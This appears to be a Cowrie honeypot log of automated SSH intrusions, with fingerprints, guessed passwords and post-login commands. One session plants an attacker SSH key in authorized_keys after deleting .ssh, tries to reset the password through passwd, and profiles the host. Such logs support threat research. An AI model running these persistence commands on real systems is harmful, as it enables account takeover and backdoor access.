{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.671463Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.837305Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:39.842546Z","src_ip":"2.57.122.208","session":"f56132136f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.779990434646606,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:03:57.893101Z","src_ip":"129.232.238.42","session":"162aaa3e02b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43516,"dst_ip":"10.17.0.5","dst_port":22,"session":"90bfb03fd7f8","protocol":"ssh","message":"New connection: 103.15.226.202:43516 (10.17.0.5:22) [session: 90bfb03fd7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:22.062514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:22.067155Z","src_ip":"103.15.226.202","session":"90bfb03fd7f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:22.316936Z","src_ip":"103.15.226.202","session":"90bfb03fd7f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"thuyDUNG0811","message":"login attempt [dev/thuyDUNG0811] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:23.065170Z","src_ip":"103.15.226.202","session":"90bfb03fd7f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:24.317692Z","src_ip":"103.15.226.202","session":"90bfb03fd7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"c89ec7ad4f52","protocol":"ssh","message":"New connection: 13.67.236.135:41404 (10.17.0.5:22) [session: c89ec7ad4f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.026560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.034811Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.073901Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admini","message":"login attempt [admin/admini] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.264202Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.389400Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.393488Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.398524Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.444062Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.562934Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.567041Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.612130Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.616821Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":41420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d880590d0770","protocol":"ssh","message":"New connection: 13.67.236.135:41420 (10.17.0.5:22) [session: d880590d0770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.644846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.650065Z","src_ip":"13.67.236.135","session":"d880590d0770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.685135Z","src_ip":"13.67.236.135","session":"d880590d0770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:36.858613Z","src_ip":"13.67.236.135","session":"d880590d0770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:37.897422Z","src_ip":"13.67.236.135","session":"d880590d0770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":41426,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb9e986e720","protocol":"ssh","message":"New connection: 13.67.236.135:41426 (10.17.0.5:22) [session: beb9e986e720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:37.940337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:37.945605Z","src_ip":"13.67.236.135","session":"beb9e986e720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:37.988749Z","src_ip":"13.67.236.135","session":"beb9e986e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:38.238893Z","src_ip":"13.67.236.135","session":"beb9e986e720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.284540Z","src_ip":"13.67.236.135","session":"beb9e986e720","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.468325Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.471078Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.512537Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.641801Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admini\\n22mSCobIOThO\\n22mSCobIOThO\"|passwd|bash","message":"CMD: echo -e \"admini\\n22mSCobIOThO\\n22mSCobIOThO\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.645143Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.648744Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.651981Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a78b1f0e2d2661c716811a67145bbcec7ac62f4da0c8df1462b70dd258c3e049","size":32,"shasum":"a78b1f0e2d2661c716811a67145bbcec7ac62f4da0c8df1462b70dd258c3e049","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a78b1f0e2d2661c716811a67145bbcec7ac62f4da0c8df1462b70dd258c3e049 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.695321Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.826659Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admini\\n22mSCobIOThO\\n22mSCobIOThO\\n\"|passwd","message":"CMD: echo \"admini\\n22mSCobIOThO\\n22mSCobIOThO\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.830276Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50ad665731d819592958e5f6b2c4a2a6db5cf0c72e8c777842cc6d92d02ed5ee","size":25,"shasum":"50ad665731d819592958e5f6b2c4a2a6db5cf0c72e8c777842cc6d92d02ed5ee","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50ad665731d819592958e5f6b2c4a2a6db5cf0c72e8c777842cc6d92d02ed5ee after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:39.873416Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.061837Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.065756Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.111058Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.242531Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.246208Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.289922Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.419326Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.422772Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.425861Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
